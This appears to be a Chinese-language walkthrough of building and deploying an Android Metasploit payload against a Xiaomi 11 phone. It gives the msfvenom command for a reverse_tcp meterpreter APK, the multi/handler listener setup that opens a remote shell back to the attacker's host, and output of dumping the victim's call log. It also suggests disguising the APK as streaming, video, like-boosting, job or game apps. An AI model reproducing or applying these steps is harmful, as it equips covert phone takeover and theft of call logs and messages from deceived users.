实战|msf对小米11进行安全渗透

实验过程中小米11 未提示风险，(仅签名问题提示非小米应用商店app)但是功能实际都被拦截，无法获取敏感信息,如通话记录,短信等。当开启权限之后，信息被成功获取。如文章最下图实战过程中可以对app进行伪装，修改图标,标题,版本，签名如(XX直播,XX视频,刷赞,兼职,XX游戏等等)

┌──(root💀kali)-[~/桌面]└─# ip a                                           1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00    inet 127.0.0.1/8 scope host lo       valid_lft forever preferred_lft forever    inet6 ::1/128 scope host        valid_lft forever preferred_lft forever2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000    link/ether 00:0c:29:91:2d:65 brd ff:ff:ff:ff:ff:ff    inet 192.168.0.105/24 brd 192.168.0.255 scope global dynamic noprefixroute eth0       valid_lft 6529sec preferred_lft 6529sec    inet6 fe80::20c:29ff:fe91:2d65/64 scope link noprefixroute        valid_lft forever preferred_lft forever

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=5555 R >Android.apk

use exploit/multi/handlerset payload android/meterpreter/reverse_tcp#设置监听IPset LHOST 192.168.0.105#设置监听端口set LPORT 5555#进行监听run

meterpreter > dump_calllog[*] Fetching 624 entries[*] Call log saved to calllog_dump_20220824201308.txt